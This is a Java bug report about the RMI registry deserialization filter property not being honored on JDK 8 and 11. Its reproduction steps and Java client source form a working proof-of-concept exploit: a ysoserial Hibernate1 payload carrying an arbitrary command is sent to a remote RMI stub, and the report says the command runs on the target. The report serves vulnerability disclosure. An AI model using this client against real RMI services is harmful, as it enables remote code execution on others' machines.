ADDITIONAL SYSTEM INFORMATION :
Windows Server 2012 R2
Tried with
JDK 1.8.0_211
JDK 11.0.3

A DESCRIPTION OF THE PROBLEM :
I have an RMI server running on a particular port. Due to the host of different serialization vulnerabilities, I am trying to blacklist certain classes which can be deserialized for RMI through the "sun.rmi.registry.registryFilter" property which is not honored. If the class is added to "jdk.serialFilter" property, the blacklisting works fine.

STEPS TO FOLLOW TO REPRODUCE THE PROBLEM :
Include Hibernate core jars in the classpath
Start an RMI server on any port
Pass "sun.rmi.registry.registryFilter=!org.hibernate.**" in JVM arguments

Create payload with ysoserial jar targeting hibernate class
Attempt to invoke a method in the registry with this payload
Any command passed through this payload executes on the remote machine.

EXPECTED VERSUS ACTUAL BEHAVIOR :
EXPECTED -
sun.rmi.registry.registryFilter property should be honored.
ACTUAL -
sun.rmi.registry.registryFilter property is not honored and deserialization attack can be carried out

---------- BEGIN SOURCE ----------
package sample;

import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;

import org.hibernate.PropertyAccessException;

import ysoserial.payloads.Hibernate1;


public class Client {

public static void main(String[] args)
{
String rhost = args[0];
int rport = Integer.parseInt(args[1]);
String command = args[2];

try
{
// payload
Object payload = (new Hibernate1()).getObject(command);

// connect
System.out.println(rhost);
System.out.println(rport);
Registry registry = LocateRegistry.getRegistry(rhost, rport);

// bound name
Sample stub = (Sample)registry.lookup("yolo");

Map<String, String> a= new HashMap<String, String>();
a.put("a", "a");

//DataServicesCFProxyServer_Stub stub2 = (DataServicesCFProxyServer_Stub)registry.lookup("cfassembler/default");

// trigger exploit
try
{
//stub2.fillContains(null, null, payload, true, null);
stub.printMsg(payload);
}
catch (PropertyAccessException e)
{
System.out.println("success: PropertyAccessException");
}
catch (Exception e)
{
e.printStackTrace();
}
}
catch (RemoteException e)
{
System.err.println("error: RemoteException");
}
catch (NotBoundException e)
{
System.err.println("error: NotBoundException");
}
catch (Exception e)
{
e.printStackTrace();
}
}

}

---------- END SOURCE ----------

CUSTOMER SUBMITTED WORKAROUND :
No workaround

FREQUENCY : always